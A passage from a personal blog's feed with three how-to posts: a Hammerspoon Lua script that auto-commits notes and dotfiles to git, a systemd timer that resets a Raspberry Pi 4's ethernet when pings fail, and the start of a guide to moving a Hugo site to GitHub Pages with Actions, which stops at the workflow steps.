&lt;p&gt;So, essentially I wanted to commit and push changes to my notes, dotfiles and few other things automatically whenever I make changes. I came across a tool called &lt;a href="https://github.com/gitwatch/gitwatch"&gt;gitwatch&lt;/a&gt;, which can help do this. But I wanted to try out some more capabilities of &lt;a href="https://www.hammerspoon.org/"&gt;Hammerspoon&lt;/a&gt;, so I chose that as my weapon of choice for this, especially because I already use it for few other automations so that&amp;rsquo;s one (or more) less things to install/maintain/update. Hammerspoon is an extremely powerful tool for macOS. In its own words:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;At its core, Hammerspoon is just a bridge between the operating system and a Lua scripting engine. What gives Hammerspoon its power is a set of extensions that expose specific pieces of system functionality, to the user.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, the things I had to do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Setup the directories of my dotfiles (&lt;code&gt;~/dotfiles/&lt;/code&gt;) and notes (&lt;code&gt;~/.config/Joplin-desktop/&lt;/code&gt;) as git repositories (by running git init inside them)&lt;/li&gt;
&lt;li&gt;Create repositories on GitHub (and other servers as needed) to backup them to. You can create them as private if you want to. In my case, my dotfiles are public but my notes are private.&lt;/li&gt;
&lt;li&gt;Add the upstream repositories to your local git repositories as remotes (&lt;code&gt;git remote add &amp;lt;somename&amp;gt; &amp;lt;remote_url&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Add my ssh keys to the ssh-agent using the &lt;code&gt;ssh-add&lt;/code&gt; command. You can read more about this &lt;a href="https://help.github.com/en/enterprise/2.15/user/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent"&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Save the below lua script to &lt;code&gt;~/.hammerspoon/git-backup.lua&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Paths to the directories we want to backup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; notes_path &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/Users/shantanugoel/.config/joplin-desktop&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; dotfiles_path &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/Users/shantanugoel/dotfiles&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- The primary sync function&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sync&lt;/span&gt;(path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; hs.fs.chdir(path) &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output, status &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hs.execute(&lt;span style="color:#e6db74"&gt;&amp;#34;git add . &amp;amp;&amp;amp; git commit -am update&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; status &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output, status &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hs.execute(&lt;span style="color:#e6db74"&gt;&amp;#34;git push -u origin master&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; status &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- Something went wrong! No internet? Didn&amp;#39;t add ssh keys?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hs.notify.show(&lt;span style="color:#e6db74"&gt;&amp;#34;Notes Sync&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Git Push Error&amp;#34;&lt;/span&gt;, output)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- Check if the path exists, just in case something goes wrong or you move to a new machine etc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hs.notify.show(&lt;span style="color:#e6db74"&gt;&amp;#34;Notes Sync&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Cannot change Path&amp;#34;&lt;/span&gt;, notes_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;notes_sync&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sync(notes_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dotfiles_sync&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sync(dotfiles_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Use pathwatcher to instantly sync whenever a change is made&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;notes_watcher &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hs.pathwatcher.new(notes_path, notes_sync):start()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dotfiles_watcher &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hs.pathwatcher.new(dotfiles_path, dotfiles_sync):start()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- If you face perf issues with pathwatcher, comment out above 2 lines&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- and uncomment below lines to use a timed sync instead&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Time interval is set to 5 minutes (300 seconds) here but can be changed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- as per need&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- notes_timer = hs.timer.doEvery(300, notes_sync)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- dotfiles_timer = hs.timer.doEvery(300, dotfiles_sync)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Update &lt;code&gt;~/.hammerspoon/init.lua&lt;/code&gt; to add this line: &lt;code&gt;local gb = require('git-backup')&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Reload hammerspoon config from its menu&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&amp;rsquo;ve commented the code as much as I could, so hopefully it makes sense. Now, this keeps me calm and focused on all the other procrastination that I&amp;rsquo;ve got to do :D&lt;/p&gt;</content></item><item><title>Fixing the Raspberrypi 4 Ethernet disconnection problem</title><link>https://shantanugoel.com/2020/01/19/raspberry-pi-4b-ethernet-lan-disconnect/</link><pubDate>Sun, 19 Jan 2020 02:25:17 +0530</pubDate><guid>https://shantanugoel.com/2020/01/19/raspberry-pi-4b-ethernet-lan-disconnect/</guid><description>&lt;p&gt;I added a Raspberry Pi 4B recently in my ever expanding homelab. To get the best network with the new gigabit ethernet port on the raspi, and still save power, I added a PoE hat to it so I could power the raspi as well as provide it data through the ethernet port. Everything worked fine except that I ocassionaly got into situations where the raspi stopped responding suddenly. Initially I thought that it&amp;rsquo;s crashing due to some issues and used to just restart it manually. I tried switching from manjaro-arm to raspbian as well but that showed same symptoms, despite updating to the latest bootloader and firmware as well. Then I noticed that I could hear the fans on the PoE hat whirring up and settling down even when the raspi was inaccessible. This put me in a doubt that the raspi hasn&amp;rsquo;t actually crashed, because the fans whir up and go down according to the CPU temperature. So this pattern meant that the CPU was still doing something to heat it up. A trip to the kernel logs via &lt;code&gt;journalctl -xe&lt;/code&gt; confirmed the doubt and also showed a few weird messages about the ethernet.&lt;/p&gt;</description><content>&lt;p&gt;I added a Raspberry Pi 4B recently in my ever expanding homelab. To get the best network with the new gigabit ethernet port on the raspi, and still save power, I added a PoE hat to it so I could power the raspi as well as provide it data through the ethernet port. Everything worked fine except that I ocassionaly got into situations where the raspi stopped responding suddenly. Initially I thought that it&amp;rsquo;s crashing due to some issues and used to just restart it manually. I tried switching from manjaro-arm to raspbian as well but that showed same symptoms, despite updating to the latest bootloader and firmware as well. Then I noticed that I could hear the fans on the PoE hat whirring up and settling down even when the raspi was inaccessible. This put me in a doubt that the raspi hasn&amp;rsquo;t actually crashed, because the fans whir up and go down according to the CPU temperature. So this pattern meant that the CPU was still doing something to heat it up. A trip to the kernel logs via &lt;code&gt;journalctl -xe&lt;/code&gt; confirmed the doubt and also showed a few weird messages about the ethernet.&lt;/p&gt;
&lt;p&gt;I tried several things by updating the kernel, picking up several patches, trying different distros but nothing helped. I also found a few such issues reported on raspi&amp;rsquo;s forums/elsewhere without much updates and with/without the PoE hat. Ultimately, I tried a simple solution of resetting ethernet via &lt;code&gt;ethtool&lt;/code&gt; when the issue happens and it worked fine as a workaround. If you see this issue as well and want to employ this workaround, it&amp;rsquo;s pretty easy to do via creating the following 3 files (Note: I&amp;rsquo;ve used systemd timers here. You could instead do it through cron as well).&lt;/p&gt;
&lt;h2 id="file-1-monitorsh"&gt;File 1: monitor.sh&lt;/h2&gt;
&lt;p&gt;This file has the code to check the network state and reset ethernet&lt;/p&gt;
&lt;p&gt;File location: &lt;code&gt;~/monitor.sh&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BASEDIR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;dirname &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$0&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;now&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;date&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ping -q -c &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; -W &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; google.com &amp;gt;/dev/null; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$now&lt;span style="color:#e6db74"&gt; : The network is up&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; $BASEDIR/eth.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ethtool -r eth0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$now&lt;span style="color:#e6db74"&gt; : Network down. Trying to restart eth0&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; $BASEDIR/eth.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="file-2-monitortimer"&gt;File 2: monitor.timer&lt;/h2&gt;
&lt;p&gt;File location: &lt;code&gt;/etc/systemd/system/monitor.timer&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Unit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Monitor
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Timer&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OnUnitActiveSec&lt;span style="color:#f92672"&gt;=&lt;/span&gt;200s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OnBootSec&lt;span style="color:#f92672"&gt;=&lt;/span&gt;100s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Install&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WantedBy&lt;span style="color:#f92672"&gt;=&lt;/span&gt;timers.target
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="file-3-monitorservice"&gt;File 3: monitor.service&lt;/h2&gt;
&lt;p&gt;File location: &lt;code&gt;/etc/systemd/system/monitor.service&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Unit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Monitor
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Service&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;oneshot
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ExecStart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/bin/bash /home/shantanu/monitor.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Install&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WantedBy&lt;span style="color:#f92672"&gt;=&lt;/span&gt;timers.target
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, the raspi checks every 200 seconds whether it still has a network connection and if it doesn&amp;rsquo;t, then it restarts eth0 to recover the connection. This workaround has been working pretty good for me so far.&lt;/p&gt;</content></item><item><title>Migrating my hugo blog from Gitlab/AWS S3 to Github Pages with Actions</title><link>https://shantanugoel.com/2020/01/05/migrate-hugo-blog-gitlab-s3-github-pages-actions/</link><pubDate>Sun, 05 Jan 2020 16:25:46 +0530</pubDate><guid>https://shantanugoel.com/2020/01/05/migrate-hugo-blog-gitlab-s3-github-pages-actions/</guid><description>&lt;h2 id="until-now---the-state-of-the-union"&gt;Until Now - The State of the union&lt;/h2&gt;
&lt;p&gt;This blog is generated using hugo, an awesome static site generator. So far, the workflow I used to deploy it was:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Push commit to the source repository on GitLab&lt;/li&gt;
&lt;li&gt;GitLab CI kicks off on receiving the push
&lt;ul&gt;
&lt;li&gt;CI downloads latest version of hugo and generates the static site&lt;/li&gt;
&lt;li&gt;Runs aws-cli to sync the new files to AWS S3&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;S3 serves the static site&lt;/li&gt;
&lt;li&gt;Cloudflare provides:
&lt;ul&gt;
&lt;li&gt;DNS services (so I can use &lt;a href="https://shantanugoel.com"&gt;https://shantanugoel.com&lt;/a&gt; without having to prefix it with a &lt;code&gt;www&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CDN/Caching services for resilience and keeping S3 bills low for data transfer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="why-what-broke-the-camels-back"&gt;Why? What broke the camel&amp;rsquo;s back&lt;/h2&gt;
&lt;p&gt;I was mostly happy with this setup with a couple of niggles at the back of my mind, vis. a vis.:&lt;/p&gt;</description><content>&lt;h2 id="until-now---the-state-of-the-union"&gt;Until Now - The State of the union&lt;/h2&gt;
&lt;p&gt;This blog is generated using hugo, an awesome static site generator. So far, the workflow I used to deploy it was:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Push commit to the source repository on GitLab&lt;/li&gt;
&lt;li&gt;GitLab CI kicks off on receiving the push
&lt;ul&gt;
&lt;li&gt;CI downloads latest version of hugo and generates the static site&lt;/li&gt;
&lt;li&gt;Runs aws-cli to sync the new files to AWS S3&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;S3 serves the static site&lt;/li&gt;
&lt;li&gt;Cloudflare provides:
&lt;ul&gt;
&lt;li&gt;DNS services (so I can use &lt;a href="https://shantanugoel.com"&gt;https://shantanugoel.com&lt;/a&gt; without having to prefix it with a &lt;code&gt;www&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CDN/Caching services for resilience and keeping S3 bills low for data transfer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="why-what-broke-the-camels-back"&gt;Why? What broke the camel&amp;rsquo;s back&lt;/h2&gt;
&lt;p&gt;I was mostly happy with this setup with a couple of niggles at the back of my mind, vis. a vis.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;aws s3 sync was finicky sometimes and sometimes, albeit rarely, the sync didn&amp;rsquo;t complete&lt;/li&gt;
&lt;li&gt;It took a long time to deploy a new update. Whenever I made a new post, it took around 5 minutes or more to appear due to issues stemming from GitLab CI taking time but mostly due to the time spent in s3 sync.&lt;/li&gt;
&lt;li&gt;I also wanted to reduce the moving parts. I could have used GitLab pages but they&amp;rsquo;ve proved unreliable whenever I tried to use them&lt;/li&gt;
&lt;li&gt;When the files ran into 10s of thousands, if I did lot of updates, I started running into incurring some cost due to S3 API usage. Especially because it was hard to upload only changed files. I tried few methods with hashes etc and it could be improved further but still I wanted to get rid of this issue.&lt;/li&gt;
&lt;li&gt;Finally, the last push was announcement of &lt;a href="https://github.com/features/actions"&gt;GitHub Actions&lt;/a&gt;. I had the itch, as usual, to try out the new and shiny, and so here we are.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="what-all-i-need-is-everything"&gt;What? All I need is everything&lt;/h2&gt;
&lt;p&gt;So, what I wanted to do was replace the source storage (GitLab to GitHub), CI (GitLab to GitHub Actions) and site host (AWS S3 to GitHub Pages). I kept Cloudflare&amp;rsquo;s DNS and CDN services as is because they are awesome, and I still want to continue to use the naked domain without &lt;code&gt;www&lt;/code&gt;.
Another thing I wanted while going this way was to keep the source repository and pages repository on GitHub separate because I want to be able to keep drafts in GitHub without having them available publicly.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll see in the next section how all this was put together.&lt;/p&gt;
&lt;h2 id="how-lets-get-our-hands-dirty-shall-we"&gt;How? Let&amp;rsquo;s get our hands dirty, shall we!&lt;/h2&gt;
&lt;p&gt;The migration turned out to be pretty simple. This is how my setup looks like now:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Made a private source repository at GitHub, let&amp;rsquo;s call this &lt;code&gt;shantanugoel.com-source&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This repository will be used to contain the website&amp;rsquo;s source&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Made another public repository which will contain our published site, e.g. &lt;a href="https://github.com/shantanugoel/shantanugoel.com"&gt;https://github.com/shantanugoel/shantanugoel.com&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to the settings section of this repository (e.g. &lt;a href="https://github.com/shantanugoel/shantanugoel.com/settings/"&gt;https://github.com/shantanugoel/shantanugoel.com/settings/&lt;/a&gt; ) and set it to serve GitHub pages from the master branch&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to the Deploy Keys section of this repository (e.g. &lt;a href="https://github.com/shantanugoel/shantanugoel.com/settings/keys"&gt;https://github.com/shantanugoel/shantanugoel.com/settings/keys&lt;/a&gt; ) and generate a deploy key with write access to the repository. Copy this key somewhere as you won&amp;rsquo;t be able to see this again.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to your source repository&amp;rsquo;s &lt;code&gt;Secrets&lt;/code&gt; section (e.g. &lt;a href="https://github.com/shantanugoel/shantanugoel.com-source/settings/secrets"&gt;https://github.com/shantanugoel/shantanugoel.com-source/settings/secrets&lt;/a&gt; ), and click on &amp;ldquo;Add a new secret&amp;rdquo;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add a new secret named &lt;code&gt;ACTIONS_DEPLOY_KEY&lt;/code&gt; and set its value to the key that you copied in previous step.&lt;/li&gt;
&lt;li&gt;This secret will be used in the action workflow that you&amp;rsquo;ll create in the next step.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added a GitHub Action workflow specification to the repository at this location relative to root of repository &lt;code&gt;.github/workflows/deploy.yml&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The filename can be anything ending in &lt;code&gt;.yml&lt;/code&gt; and written in YAML, but the directory path needs to be exactly as above.&lt;/li&gt;
&lt;li&gt;The contents of the file are below. I&amp;rsquo;ve used comments in the contents to explain their usage.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Names can be anything as per your choice in the file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;CI&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# This action runs whenever somec hange is pushed to the master branch of this repository&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;push&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;branches&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;master&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;build-deploy&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;runs-on&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;ubuntu-18.04&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;steps&lt;/span&gt;:
